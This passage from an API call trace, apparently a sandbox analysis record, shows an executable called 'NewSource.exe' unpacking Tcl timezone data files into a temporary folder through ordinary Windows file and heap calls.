[0042.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.378] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.378] CloseHandle (hObject=0x10c) returned 1 [0042.378] GetLastError () returned 0x0 [0042.378] SetLastError (dwErrCode=0x0) [0042.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.378] GetFileType (hFile=0x10c) returned 0x1 [0042.378] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.378] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.379] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.379] CloseHandle (hObject=0x10c) returned 1 [0042.379] GetLastError () returned 0x0 [0042.379] SetLastError (dwErrCode=0x0) [0042.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.379] GetFileType (hFile=0x10c) returned 0x1 [0042.379] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.379] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.379] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.379] CloseHandle (hObject=0x10c) returned 1 [0042.379] GetLastError () returned 0x0 [0042.379] SetLastError (dwErrCode=0x0) [0042.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Isle_of_Man") returned 75 [0042.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Isle_of_Man" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\isle_of_man"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.380] GetLastError () returned 0x2 [0042.380] SetLastError (dwErrCode=0x2) [0042.380] GetLastError () returned 0x2 [0042.380] SetLastError (dwErrCode=0x2) [0042.380] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Isle_of_Man", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Isle_of_Man", lpFilePart=0x0) returned 0x4a [0042.380] GetLastError () returned 0x2 [0042.380] SetLastError (dwErrCode=0x2) [0042.380] GetLastError () returned 0x2 [0042.380] SetLastError (dwErrCode=0x2) [0042.380] GetLastError () returned 0x2 [0042.380] SetLastError (dwErrCode=0x2) [0042.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Isle_of_Man") returned 75 [0042.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Isle_of_Man" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\isle_of_man"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.380] GetFileType (hFile=0x10c) returned 0x1 [0042.380] htonl (hostlong=0xb5000000) returned 0xb5 [0042.380] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.380] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb5, lpOverlapped=0x0) returned 1 [0042.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.381] CloseHandle (hObject=0x10c) returned 1 [0042.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.381] htonl (hostlong=0x30000000) returned 0x30 [0042.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.382] GetFileType (hFile=0x10c) returned 0x1 [0042.382] htonl (hostlong=0x251c5c00) returned 0x5c1c25 [0042.382] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60cc25, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.382] htonl (hostlong=0xff060000) returned 0x6ff [0042.382] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6ff) returned 0x55e278 [0042.382] htonl (hostlong=0xff060000) returned 0x6ff [0042.382] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.382] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.382] htonl (hostlong=0x1f220000) returned 0x221f [0042.382] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x221f) returned 0x561090 [0042.382] htonl (hostlong=0xff060000) returned 0x6ff [0042.382] htonl (hostlong=0x1f220000) returned 0x221f [0042.382] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5632b8 [0042.382] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5632b8 | out: hHeap=0x530000) returned 1 [0042.382] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.382] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.382] CloseHandle (hObject=0x10c) returned 1 [0042.382] GetLastError () returned 0x0 [0042.382] SetLastError (dwErrCode=0x0) [0042.382] GetLastError () returned 0x0 [0042.382] SetLastError (dwErrCode=0x0) [0042.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.383] GetFileType (hFile=0x10c) returned 0x1 [0042.383] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.383] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.383] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.383] CloseHandle (hObject=0x10c) returned 1 [0042.383] GetLastError () returned 0x0 [0042.383] SetLastError (dwErrCode=0x0) [0042.383] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.383] GetFileType (hFile=0x10c) returned 0x1 [0042.383] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.383] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.384] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.384] CloseHandle (hObject=0x10c) returned 1 [0042.384] GetLastError () returned 0x0 [0042.384] SetLastError (dwErrCode=0x0) [0042.384] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.384] GetFileType (hFile=0x10c) returned 0x1 [0042.384] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.384] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.384] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.384] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.384] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.384] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.384] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.384] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.384] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.384] CloseHandle (hObject=0x10c) returned 1 [0042.384] GetLastError () returned 0x0 [0042.384] SetLastError (dwErrCode=0x0) [0042.384] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Istanbul") returned 72 [0042.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Istanbul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\istanbul"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.384] GetLastError () returned 0x2 [0042.384] SetLastError (dwErrCode=0x2) [0042.384] GetLastError () returned 0x2 [0042.385] SetLastError (dwErrCode=0x2) [0042.385] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Istanbul", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Istanbul", lpFilePart=0x0) returned 0x47 [0042.385] GetLastError () returned 0x2 [0042.385] SetLastError (dwErrCode=0x2) [0042.385] GetLastError () returned 0x2 [0042.385] SetLastError (dwErrCode=0x2) [0042.385] GetLastError () returned 0x2 [0042.385] SetLastError (dwErrCode=0x2) [0042.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Istanbul") returned 72 [0042.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Istanbul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\istanbul"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.385] GetFileType (hFile=0x10c) returned 0x1 [0042.385] htonl (hostlong=0x1f220000) returned 0x221f [0042.385] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.390] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.390] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x21f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x21f, lpOverlapped=0x0) returned 1 [0042.390] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.390] CloseHandle (hObject=0x10c) returned 1 [0042.391] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.391] htonl (hostlong=0x30000000) returned 0x30 [0042.391] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.391] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.391] GetFileType (hFile=0x10c) returned 0x1 [0042.392] htonl (hostlong=0x24235c00) returned 0x5c2324 [0042.392] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60d324, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.392] htonl (hostlong=0x88000000) returned 0x88 [0042.392] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0042.392] htonl (hostlong=0x88000000) returned 0x88 [0042.392] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.392] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.392] htonl (hostlong=0xb0000000) returned 0xb0 [0042.392] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x550600 [0042.393] htonl (hostlong=0x88000000) returned 0x88 [0042.393] htonl (hostlong=0xb0000000) returned 0xb0 [0042.393] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.393] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.393] CloseHandle (hObject=0x10c) returned 1 [0042.393] GetLastError () returned 0x0 [0042.393] SetLastError (dwErrCode=0x0) [0042.393] GetLastError () returned 0x0 [0042.393] SetLastError (dwErrCode=0x0) [0042.393] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.393] GetFileType (hFile=0x10c) returned 0x1 [0042.393] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.393] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.393] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.393] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.393] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.393] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.393] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.393] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.393] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.393] CloseHandle (hObject=0x10c) returned 1 [0042.393] GetLastError () returned 0x0 [0042.393] SetLastError (dwErrCode=0x0) [0042.394] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), 